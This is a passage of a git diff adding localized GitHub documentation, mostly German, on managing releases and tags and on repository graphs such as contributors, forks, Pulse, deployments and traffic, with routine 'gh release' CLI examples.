+   ![Published release with @mentioned contributors](/assets/images/help/releases/refreshed-releases-overview-with-contributors.png)
+   {% else %}
+   ![Published release with @mentioned contributors](/assets/images/help/releases/releases-overview-with-contributors.png)
+   {% endif %}
+   {%- endif %}
+
+{% endwebui %}
+
+{% cli %}
+
+{% data reusables.cli.cli-learn-more %}
+
+1. To create a release, use the `gh release create` subcommand. Replace `tag` with the desired tag for the release.
+
+   ```shell
+   gh release create TAG
+   ```
+
+2. Follow the interactive prompts. Alternatively, you can specify arguments to skip these prompts. For more information about possible arguments, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_release_create). For example, this command creates a prerelease with the specified title and notes.
+
+   ```shell
+   gh release create v1.3.2 --title "v1.3.2 (beta)" --notes "this is a beta release" --prerelease
+   ```
+{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}
+If you @mention any {% data variables.product.product_name %} users in the notes, the published release on {% data variables.product.prodname_dotcom_the_website %} will include a **Contributors** section with an avatar list of all the mentioned users.
+{% endif %}
+
+{% endcli %}
+
+## Editing a release
+
+{% webui %}
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.releases %}
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.3 %}
+3. On the right side of the page, next to the release you want to edit, click {% octicon "pencil" aria-label="The edit icon" %}.
+  ![Edit a release](/assets/images/help/releases/edit-release-pencil.png)
+{% else %}
+3. On the right side of the page, next to the release you want to edit, click **Edit release**.
+  ![Edit a release](/assets/images/help/releases/edit-release.png)
+{% endif %}
+4. Edit the details for the release in the form, then click **Update release**.{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} If you add or remove any @mentions of GitHub users in the description, those users will be added or removed from the avatar list in the **Contributors** section of the release.{% endif %}
+  ![Update a release](/assets/images/help/releases/update-release.png)
+
+{% endwebui %}
+
+{% cli %}
+
+Releases cannot currently be edited with {% data variables.product.prodname_cli %}.
+
+{% endcli %}
+
+## Deleting a release
+
+{% webui %}
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.releases %}
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.3 %}
+3. On the right side of the page, next to the release you want to delete, click {% octicon "trash" aria-label="The trash icon" %}.
+  ![Delete a release](/assets/images/help/releases/delete-release-trash.png)
+{% else %}
+3. Click the name of the release you wish to delete.
+  ![Link to view release](/assets/images/help/releases/release-name-link.png)
+4. In the upper-right corner of the page, click **Delete**.
+  ![Delete release button](/assets/images/help/releases/delete-release.png)
+{% endif %}
+5. Click **Delete this release**.
+  ![Confirm delete release](/assets/images/help/releases/confirm-delete-release.png)
+
+{% endwebui %}
+
+{% cli %}
+
+1. To delete a release, use the `gh release delete` subcommand. Replace `tag` with the tag of the release to delete. Use the `-y` flag to skip confirmation.
+
+   ```shell
+   gh release delete TAG -y
+   ```
+
+{% endcli %}
diff --git a/translations/de-DE/content/repositories/releasing-projects-on-github/searching-a-repositorys-releases.md b/translations/de-DE/content/repositories/releasing-projects-on-github/searching-a-repositorys-releases.md
new file mode 100644
index 0000000000..2242ed1fb1
--- /dev/null
+++ b/translations/de-DE/content/repositories/releasing-projects-on-github/searching-a-repositorys-releases.md
@@ -0,0 +1,37 @@
+---
+title: Durchsuchen der Releases eines Repositorys
+intro: 'Du kannst mit Schlüsselwörtern, Tags und anderen Qualifizierern nach bestimmten Versionen in einem Repository suchen.'
+permissions: Anyone with read access to a repository can search that repository's releases.
+shortTitle: Searching releases
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '>= 3.4'
+topics:
+  - Repositories
+ms.openlocfilehash: a61e49521452befdcddf2724cad837062c7d54a1
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109654'
+---
+## Suchen nach Releases in einem Repository
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.releases %}
+1. Um die Releases des Repositorys zu durchsuchen, gib deine Abfrage oben auf der Seite „Releases“ im Suchfeld ein, und drücke die **EINGABETASTE**.
+![Suchfeld für Releases](/assets/images/help/releases/search-releases.png)
+
+## Suchsyntax für die Suche nach Releases in einem Repository
+
+Du kannst in deiner Suchabfrage Text angeben, der mit dem Titel, dem Text und dem Tag der Releases im Repository abgeglichen wird. Du kannst auch die folgenden Qualifizierer kombinieren, um bestimmte Releases zu finden.
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| `draft:true` | **draft:true** stimmt nur mit Entwurfsreleases überein.
+| `draft:false` | **draft:false** stimmt nur mit veröffentlichten Versionen überein.
+| `prerelease:true` | **prerelease:true** stimmt nur mit Vorabreleases überein.
+| `prerelease:false` | **prerelease:false** stimmt nur mit nicht vorab veröffentlichten Releases überein.
+| <code>tag:<em>TAG</em></code> | **tag:v1** stimmt mit einem Release mit dem v1-Tag und allen Neben- oder Patchversionen innerhalb von v1 überein, z. B. v1.0, v1.2 und v1.2.5.
+| <code>created:<em>DATE</em></code> | **created:2021** stimmt mit Releases überein, die im Jahr 2021 erstellt wurden. Du kannst auch Datumsbereiche angeben. Weitere Informationen findest du unter [Grundlagen der Suchsyntax](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax#query-for-dates).
diff --git a/translations/de-DE/content/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags.md b/translations/de-DE/content/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags.md
new file mode 100644
index 0000000000..694d0286a6
--- /dev/null
+++ b/translations/de-DE/content/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags.md
@@ -0,0 +1,44 @@
+---
+title: Releases und Tags Deines Repository anzeigen
+intro: Du kannst den chronologischen Verlauf Deines Repository nach Release-Name oder Tag-Nummer der Version anzeigen.
+redirect_from:
+  - /articles/working-with-tags
+  - /articles/viewing-your-repositorys-tags
+  - /github/administering-a-repository/viewing-your-repositorys-tags
+  - /github/administering-a-repository/viewing-your-repositorys-releases-and-tags
+  - /github/administering-a-repository/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: View releases & tags
+ms.openlocfilehash: c6cdad2626eb5b3260efd46a1d47dac499c73051
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145132057'
+---
+{% tip %}
+
+**Tipp**: Du kannst ein Release auch über die {% data variables.product.prodname_cli %} anzeigen. Weitere Informationen findest du unter [`gh release view`](https://cli.github.com/manual/gh_release_view) in der Dokumentation zur {% data variables.product.prodname_cli %}.
+
+{% endtip %}
+
+## Releases anzeigen
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.releases %}
+2. Klicke oben auf der Seite „Releases“ auf **Releases**.
+
+## Tags anzeigen
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.releases %}
+2. Klicke oben auf der Seite „Releases“ auf **Tags**.
+![Tags-Seite](/assets/images/help/releases/tags-list.png)
+
+## Weiterführende Themen
+
+- [Signieren von Tags](/articles/signing-tags)
diff --git a/translations/de-DE/content/repositories/viewing-activity-and-data-for-your-repository/about-repository-graphs.md b/translations/de-DE/content/repositories/viewing-activity-and-data-for-your-repository/about-repository-graphs.md
new file mode 100644
index 0000000000..1caccb2e8f
--- /dev/null
+++ b/translations/de-DE/content/repositories/viewing-activity-and-data-for-your-repository/about-repository-graphs.md
@@ -0,0 +1,37 @@
+---
+title: Informationen zu Repository-Diagrammen
+intro: Mit Repository-Diagrammen kannst du Daten für dein Repository anzeigen und analysieren.
+redirect_from:
+  - /articles/using-graphs
+  - /articles/about-repository-graphs
+  - /github/visualizing-repository-data-with-graphs/about-repository-graphs
+  - /github/visualizing-repository-data-with-graphs/accessing-basic-repository-data/about-repository-graphs
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+ms.openlocfilehash: a8e2b228e4729e0c86d0234aadc7f0eebab7d2d5
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145132052'
+---
+Die Diagramme eines Repositorys geben Ihnen Auskunft über {% ifversion fpt or ghec %}Datenverkehr, vom Repository abhängige Projekte, {% endif %}Mitwirkende und Commits des Repositorys sowie die Forks und das Netzwerk eines Repositorys. Wenn Du ein Repository verwaltest, kannst Du diese Daten verwenden, um besser zu verstehen, wer Dein Repository verwendet und warum es verwendet wird.
+
+{% ifversion fpt or ghec %}
+
+Einige Repository-Diagramme sind nur in öffentlichen Repositorys mit {% data variables.product.prodname_free_user %} verfügbar:
+- Puls
+- Beitragende
+- Verkehr
+- Commits
+- Code-Verlauf
+- Netzwerk
+
+Alle anderen Repository-Diagramme sind in allen Repositorys verfügbar. Jedes Repository-Diagramm ist in öffentlichen und privaten Repositorys mit {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %} und {% data variables.product.prodname_ghe_cloud %} verfügbar. {% data reusables.gated-features.more-info %}
+
+{% endif %}
diff --git a/translations/de-DE/content/repositories/viewing-activity-and-data-for-your-repository/analyzing-changes-to-a-repositorys-content.md b/translations/de-DE/content/repositories/viewing-activity-and-data-for-your-repository/analyzing-changes-to-a-repositorys-content.md
new file mode 100644
index 0000000000..66b3d6d060
--- /dev/null
+++ b/translations/de-DE/content/repositories/viewing-activity-and-data-for-your-repository/analyzing-changes-to-a-repositorys-content.md
@@ -0,0 +1,63 @@
+---
+title: Änderungen am Inhalt eines Repositorys analysieren
+intro: 'Du kannst die Änderungen am Inhalt eines Repositorys sehen, indem Du die Commits eines Repositorys, die Commit-Häufigkeit und Ergänzungen sowie Löschungen von Inhalten analysierst.'
+product: '{% data reusables.gated-features.repository-insights %}'
+redirect_from:
+  - /articles/visualizing-additions-and-deletions-to-content-in-a-repository
+  - /github/visualizing-repository-data-with-graphs/visualizing-additions-and-deletions-to-content-in-a-repository
+  - /articles/viewing-commit-frequency-in-a-repository
+  - /articles/analyzing-changes-to-a-repository-s-content
+  - /articles/analyzing-changes-to-a-repositorys-content
+  - /articles/visualizing-commits-in-a-repository
+  - /github/visualizing-repository-data-with-graphs/visualizing-commits-in-a-repository
+  - /github/visualizing-repository-data-with-graphs/analyzing-changes-to-a-repositorys-content
+  - /github/visualizing-repository-data-with-graphs/analyzing-changes-to-a-repositorys-content/visualizing-commits-in-a-repository
+  - /github/visualizing-repository-data-with-graphs/analyzing-changes-to-a-repositorys-content/visualizing-additions-and-deletions-to-content-in-a-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: Analyze changes
+ms.openlocfilehash: 7b6c9918b5d3de0fbae3b94fb8e90ece694a4076
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145132051'
+---
+## Commit in einem Repository visualisieren
+
+Im Commit-Diagramm kannst Du mit Ausnahme von Merge-Commits alle Commits anzeigen, die im vergangenen Jahr an einem Repository vorgenommen wurden.
+
+Das obere Diagramm zeigt Commits für das gesamte Jahr nach Woche.
+
+![Repository-Commit-Jahresdiagramm](/assets/images/help/graphs/repo_commit_activity_year_graph.png)
+
+Im folgenden Diagramm wird die durchschnittliche Anzahl an Commits nach Wochentag für die ausgewählte Woche angezeigt.
+
+![Repository-Commit-Wochendiagramm](/assets/images/help/graphs/repo_commit_activity_week_graph.png)
+
+### Auf das Commit-Diagramm zugreifen
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.accessing-repository-graphs %}
+3. Klicke auf der linken Randleiste auf **Commits**.
+![Registerkarte „Commits“](/assets/images/help/graphs/commits_tab.png)
+
+## Visualisieren von Inhaltsergänzungen und -löschungen in einem Repository
+
+Das Code-Verlaufsdiagramm zeigt für jede Woche im Verlauf eines Repositorys die hinzugefügten und gelöschten Inhalte an.
+
+{% ifversion fpt or ghec %}
+
+![Code-Verlaufsdiagramm](/assets/images/help/graphs/repo_code_frequency_graph_dotcom.png)
+
+{% endif %}
+
+### Auf das Code-Verlaufsdiagramm zugreifen
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.accessing-repository-graphs %}
+3. Klicke auf der linken Randleiste auf **Codehäufigkeit**.
+![Registerkarte „Codehäufigkeit“](/assets/images/help/graphs/code_frequency_tab.png)
diff --git a/translations/de-DE/content/repositories/viewing-activity-and-data-for-your-repository/index.md b/translations/de-DE/content/repositories/viewing-activity-and-data-for-your-repository/index.md
new file mode 100644
index 0000000000..e39cbdefd9
--- /dev/null
+++ b/translations/de-DE/content/repositories/viewing-activity-and-data-for-your-repository/index.md
@@ -0,0 +1,33 @@
+---
+title: Anzeigen von Aktivitäten und Daten für dein Repository
+intro: 'Erhalte Einblicke in dein Repository, indem du Aktivität und Daten aufrufst.'
+redirect_from:
+  - /categories/44/articles
+  - /categories/graphs-and-contributions
+  - /categories/graphs
+  - /categories/visualizing-repository-data-with-graphs
+  - /github/visualizing-repository-data-with-graphs
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+children:
+  - /viewing-deployment-activity-for-your-repository
+  - /about-repository-graphs
+  - /viewing-a-summary-of-repository-activity
+  - /viewing-traffic-to-a-repository
+  - /viewing-a-projects-contributors
+  - /analyzing-changes-to-a-repositorys-content
+  - /understanding-connections-between-repositories
+shortTitle: View activity and data
+ms.openlocfilehash: 93ee6e343390540cb05551f4f8cb888eebdf63e2
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147883433'
+---
+
diff --git a/translations/de-DE/content/repositories/viewing-activity-and-data-for-your-repository/understanding-connections-between-repositories.md b/translations/de-DE/content/repositories/viewing-activity-and-data-for-your-repository/understanding-connections-between-repositories.md
new file mode 100644
index 0000000000..00cff5d2b7
--- /dev/null
+++ b/translations/de-DE/content/repositories/viewing-activity-and-data-for-your-repository/understanding-connections-between-repositories.md
@@ -0,0 +1,80 @@
+---
+title: Zusammenhänge zwischen Repositorys verstehen
+intro: 'Die Verbindungen zwischen Repositorys kannst du besser verstehen, wenn du dir das Netzwerk und die vom Repository abhängigen Projekte und die Forks des Repositorys ansiehst.'
+product: '{% data reusables.gated-features.repository-insights %}'
+redirect_from:
+  - /articles/viewing-a-repository-s-network
+  - /articles/viewing-a-repositorys-network
+  - /github/visualizing-repository-data-with-graphs/viewing-a-repositorys-network
+  - /articles/understanding-connections-between-repositories
+  - /articles/listing-the-forks-of-a-repository
+  - /github/visualizing-repository-data-with-graphs/listing-the-forks-of-a-repository
+  - /github/visualizing-repository-data-with-graphs/viewing-the-dependencies-of-a-repository
+  - /github/visualizing-repository-data-with-graphs/understanding-connections-between-repositories
+  - /github/visualizing-repository-data-with-graphs/understanding-connections-between-repositories/viewing-a-repositorys-network
+  - /github/visualizing-repository-data-with-graphs/understanding-connections-between-repositories/listing-the-forks-of-a-repository
+  - /github/visualizing-repository-data-with-graphs/understanding-connections-between-repositories/viewing-the-dependencies-of-a-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: Connections between repositories
+ms.openlocfilehash: f1b92a62d0acf9f31a16ce1b7c57850b87c1bf9c
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147060066'
+---
+## Netzwerk eines Repositorys anzeigen
+
+Das Netzwerkdiagramm zeigt den Branch-Verlauf des gesamten Repository-Netzwerks an, einschließlich der Branches des Root-Repositorys und der Branches der Forks, die netzwerkspezifische Commits enthalten.
+
+![Repository-Netzwerkdiagramm](/assets/images/help/graphs/repo_network_graph.png)
+
+{% tip %}
+
+**Tipp:** Klicke und ziehe zum Anzeigen älterer Verzweigungen im Diagramm.
+
+{% endtip %}
+
+## Auf das Netzwerkdiagramm zugreifen
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.accessing-repository-graphs %}
+3. Klicke in der linken Seitenleiste auf **Netzwerk**.
+![Registerkarte „Network“ (Netzwerk)](/assets/images/help/graphs/network_tab.png)
+
+## Die Forks eines Repositorys auflisten
+
+Das Mitgliederdiagramm zeigt alle Forks eines Repositorys.
+
+Die Forks sind alphabetisch nach dem Benutzernamen der Person geordnet, die das Repository geforkt hat. Du kannst auf den Benutzernamen klicken, um zur {% data variables.product.product_name %}-Profilseite des Benutzers weitergeleitet zu werden, oder auf den Forknamen, um zum entsprechenden Fork des Repositorys weitergeleitet zu werden.
+
+{% ifversion fpt or ghec %}
+
+![Repository-Mitgliederdiagramm](/assets/images/help/graphs/repo_forks_graph_dotcom.png)
+
+{% else %}
+
+![Repository-Mitgliederdiagramm](/assets/images/help/graphs/repo_members_graph.png)
+
+{% endif %}
+
+### Auf das Mitgliederdiagramm zugreifen
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.accessing-repository-graphs %}
+3. Klicke in der linken Seitenleiste auf **Forks**.
+![Registerkarte „Forks“](/assets/images/help/graphs/graphs-sidebar-forks-tab.png)
+
+## Anzeigen der Abhängigkeiten eines Repositorys
+
+Du kannst das Abhängigkeitsdiagramm verwenden, um den Code zu erkunden, von dem dein Repository abhängig ist.
+
+Fast alle Software basiert auf Code, der von anderen Entwicklern entwickelt und verwaltet wird, häufig als Lieferkette bezeichnet. Beispiel: Hilfsprogramme, Bibliotheken und Frameworks. Diese Abhängigkeiten sind ein integraler Bestandteil deines Codes, und alle Fehler oder Sicherheitsrisiken in ihnen können sich auf deinen Code auswirken. Es ist wichtig, diese Abhängigkeiten zu überprüfen und zu verwalten.
+
+Das Abhängigkeitsdiagramm bietet eine hervorragende Möglichkeit, die Abhängigkeiten für ein Repository zu visualisieren und zu erkunden. Weitere Informationen findest du unter [Informationen über das Abhängigkeitsdiagramm](/code-security/supply-chain-security/about-the-dependency-graph) und [Erkunden der Abhängigkeiten eines Repositorys](/code-security/supply-chain-security/exploring-the-dependencies-of-a-repository).
+
+Du kannst dein Repository auch so einrichten, dass {% data variables.product.company_short %} dich automatisch benachrichtigt, wenn eine Sicherheitsrisiko in einer deiner Abhängigkeiten gefunden wird. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies).
diff --git a/translations/de-DE/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-projects-contributors.md b/translations/de-DE/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-projects-contributors.md
new file mode 100644
index 0000000000..db97744633
--- /dev/null
+++ b/translations/de-DE/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-projects-contributors.md
@@ -0,0 +1,52 @@
+---
+title: Viewing a project's contributors
+intro: 'You can see who contributed commits to a repository{% ifversion fpt or ghec %} and its dependencies{% endif %}.'
+redirect_from:
+  - /articles/i-don-t-see-myself-in-the-contributions-graph
+  - /articles/viewing-contribution-activity-in-a-repository
+  - /articles/viewing-a-projects-contributors
+  - /github/visualizing-repository-data-with-graphs/viewing-a-projects-contributors
+  - /github/visualizing-repository-data-with-graphs/accessing-basic-repository-data/viewing-a-projects-contributors
+product: '{% data reusables.gated-features.repository-insights %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: View project contributors
+---
+## About contributors
+
+You can view the top 100 contributors to a repository{% ifversion ghes or ghae %}, including commit co-authors,{% endif %} in the contributors graph. Merge commits and empty commits aren't counted as contributions for this graph.
+
+{% ifversion fpt or ghec %}
+You can also see a list of people who have contributed to the project's Python dependencies. To access this list of community contributors, visit `https://github.com/REPO-OWNER/REPO-NAME/community_contributors`.
+{% endif %}
+
+## Accessing the contributors graph
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.accessing-repository-graphs %}
+3. In the left sidebar, click **Contributors**.
+  ![Contributors tab](/assets/images/help/graphs/contributors_tab.png)
+4. Optionally, to view contributors during a specific time period, click, then drag until the time period is selected. The contributors graph sums weekly commit numbers onto each Sunday, so your time period must include a Sunday.
+  ![Selected time range in the contributors graph](/assets/images/help/graphs/repo_contributors_click_drag_graph.png)
+
+## Troubleshooting contributors
+
+If you don't appear in a repository's contributors graph, it may be because:
+- You aren't one of the top 100 contributors.
+- Your commits haven't been merged into the default branch.
+- The email address you used to author the commits isn't connected to your account on {% data variables.product.product_name %}.
+
+{% tip %}
+
+**Tip:** To list all commit contributors in a repository, see "[List repository contributors](/rest/repos/repos#list-repository-contributors)."
+
+{% endtip %}
+
+If all your commits in the repository are on non-default branches, you won't be in the contributors graph. For example, commits on the `gh-pages` branch aren't included in the graph unless `gh-pages` is the repository's default branch. To have your commits merged into the default branch, you can create a pull request. For more information, see "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)."
+
+If the email address you used to author the commits is not connected to your account on {% data variables.product.product_name %}, your commits won't be linked to your account, and you won't appear in the contributors graph. For more information, see "[Setting your commit email address](/articles/setting-your-commit-email-address){% ifversion not ghae %}" and "[Adding an email address to your {% data variables.product.prodname_dotcom %} account](/articles/adding-an-email-address-to-your-github-account){% endif %}."
diff --git a/translations/de-DE/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-summary-of-repository-activity.md b/translations/de-DE/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-summary-of-repository-activity.md
new file mode 100644
index 0000000000..5514d9af76
--- /dev/null
+++ b/translations/de-DE/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-summary-of-repository-activity.md
@@ -0,0 +1,38 @@
+---
+title: Eine Zusammenfassung der Repository-Aktivitäten anzeigen
+intro: 'Du kannst eine Übersicht über die Aktivitäten zu Pull Requests, Issues und Commits eines Repositorys anzeigen.'
+product: '{% data reusables.gated-features.repository-insights %}'
+redirect_from:
+  - /articles/viewing-a-summary-of-repository-activity
+  - /github/visualizing-repository-data-with-graphs/viewing-a-summary-of-repository-activity
+  - /github/visualizing-repository-data-with-graphs/accessing-basic-repository-data/viewing-a-summary-of-repository-activity
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: View repository activity
+ms.openlocfilehash: 2dafe04a8214e2840d8b36bdd3aaeb87f0ad2764
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147882303'
+---
+## Informationen zu Pulse
+
+In Pulse kannst du eine Übersicht der Aktivitäten eines Repositorys anzeigen. Pulse umfasst eine Liste der offenen und zusammengeführten Pull Requests, der offenen und geschlossenen Probleme und ein Diagramm, in dem die Commit-Aktivität für die Top-15-Benutzer angezeigt wird, die sich im ausgewählten [Zeitraum](/articles/viewing-a-summary-of-repository-activity#filtering-by-time) an der Standardverzweigung des Projekts beteiligt haben.
+
+Commits mit Co-Autoren sind in der Commit-Aktivitätsübersicht enthalten, falls ihre Commits in den Standardbranch des Repositorys zusammengeführt wurden und sie sich unter den Top-15-Benutzern befinden, welche die meisten Commits beigesteuert haben.
+
+## Zugreifen auf Pulse
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.accessing-repository-graphs %}
+
+## Nach der Zeit filtern
+
+Pulse zeigt standardmäßig die letzten sieben Tage der Repository-Aktivitäten an. Klicke zum Auswählen eines anderen Zeitraums in der oberen rechten Ecke der Pulse-Übersicht auf die Dropdownliste **Zeitraum**.
+
+![Pulse-Aktivität nach Zeit filtern](/assets/images/help/pulse/pulse_time_filter_dropdown.png)
diff --git a/translations/de-DE/content/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository.md b/translations/de-DE/content/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository.md
new file mode 100644
index 0000000000..b218bfaade
--- /dev/null
+++ b/translations/de-DE/content/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository.md
@@ -0,0 +1,40 @@
+---
+title: Bereitstellungsaktivitäten für Dein Repository anzeigen
+intro: Du kannst Informationen zu Bereitstellungen für Dein gesamtes Repository oder für einen bestimmten Pull Request anzeigen.
+redirect_from:
+  - /articles/viewing-deployment-activity-for-your-repository
+  - /github/administering-a-repository/viewing-deployment-activity-for-your-repository
+  - /github/administering-a-repository/managing-repository-settings/viewing-deployment-activity-for-your-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: View deployment activity
+ms.openlocfilehash: 395f25648609801ee376b3f689c11bb651c23195
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145132033'
+---
+{% note %}
+
+**Hinweis:** Das Dashboard für Bereitstellungen liegt derzeit als Beta-Funktion vor und kann geändert werden.
+
+{% endnote %}
+
+Personen mit Lesezugriff auf ein Repository können eine Zusammenfassung sämtlicher aktueller Bereitstellungen und ein Protokoll der letzten Bereitstellungsaktivität anzeigen, sofern der Bereitstellungs-Workflow des Repositorys über die API für Bereitstellungen oder über eine App aus [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace/category/deployment) in {% data variables.product.product_name %} integriert ist. Weitere Informationen findest du unter [Bereitstellungen](/rest/reference/repos#deployments).
+
+Darüber hinaus können Bereitstellungsinformationen auf der Registerkarte „Conversation“ (Unterhaltung) eines Pull-Requests angezeigt werden.
+
+## Dashboard für Bereitstellungen anzeigen
+
+{% data reusables.repositories.navigate-to-repo %}
+2. Klicke rechts neben der Liste der Dateien auf **Umgebungen**.
+![Umgebungen auf der rechten Seite des Repositorys](/assets/images/help/repository/environments.png)
+
+## Weiterführende Themen
+ - [Informationen zu Pull Requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)
diff --git a/translations/de-DE/content/repositories/viewing-activity-and-data-for-your-repository/viewing-traffic-to-a-repository.md b/translations/de-DE/content/repositories/viewing-activity-and-data-for-your-repository/viewing-traffic-to-a-repository.md
new file mode 100644
index 0000000000..a98de65c3a
--- /dev/null
+++ b/translations/de-DE/content/repositories/viewing-activity-and-data-for-your-repository/viewing-traffic-to-a-repository.md
@@ -0,0 +1,38 @@
+---
+title: Traffic zu einem Repository anzeigen
+intro: 'Personen mit Push-Zugriff auf ein Repository können den zugehörigen Traffic anzeigen, darunter die vollständigen Klone (keine Abrufe), die Besucher der letzten 14 Tage, die verweisenden Websites und die beliebten Inhalte im Traffic-Diagramm.'
+product: 'This repository insights graph is available in public repositories with {% data variables.product.prodname_free_user %} and {% data variables.product.prodname_free_team %} for organizations, and in public and private repositories with {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, and {% data variables.product.prodname_ghe_cloud %}.{% ifversion fpt %} For more information, see "[About repository graphs](/articles/about-repository-graphs)" and "[{% data variables.product.prodname_dotcom %}''s products](/articles/github-s-products)."{% endif %}'
+redirect_from:
+  - /articles/viewing-traffic-to-a-repository
+  - /github/visualizing-repository-data-with-graphs/viewing-traffic-to-a-repository
+  - /github/visualizing-repository-data-with-graphs/accessing-basic-repository-data/viewing-traffic-to-a-repository
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: View repository traffic
+ms.openlocfilehash: 75b4900893a0874e42b076962d25babcb4c09233
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145132009'
+---
+Du kannst zu den verweisenden Websites, mit Ausnahme der Suchmaschinen und {% data variables.product.product_name %} selbst, über die Links navigieren, von denen aus auf die spezifischen Pfade verwiesen wurde. Der beliebte Inhalt wird mit dem spezifischen Inhalt verknüpft, der Traffic generiert hat.
+
+Verweisende Websites und beliebte Inhalte sind nach Ansichten und eindeutigen Besuchern sortiert. Informationen zu vollständigen Klonen und Besuchern werden stündlich aktualisiert. Demgegenüber werden die Abschnitte zu verweisenden Websites und beliebten Inhalten täglich aktualisiert. Alle Daten im Traffic-Diagramm verwenden unabhängig von Deinem Standort die Zeitzone UTC+0.
+
+{% tip %}
+
+**Tipp:** Du kannst den Mauszeiger über einen bestimmten Tag im Traffic-Diagramm bewegen, um die exakten Daten für den jeweiligen Tag anzuzeigen.
+
+{% endtip %}
+
+![Repository-Traffic-Diagramm mit QuickInfo](/assets/images/help/graphs/repo_traffic_graphs_tooltip_dotcom.png)
+
+## Auf das Traffic-Diagramm zugreifen
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.accessing-repository-graphs %}
+3. Klicke auf der linken Randleiste auf **Datenverkehr**.
+![Registerkarte Traffic](/assets/images/help/graphs/traffic_tab.png)
diff --git a/translations/de-DE/content/repositories/working-with-files/index.md b/translations/de-DE/content/repositories/working-with-files/index.md
new file mode 100644
index 0000000000..2e4f3b1e7c
--- /dev/null
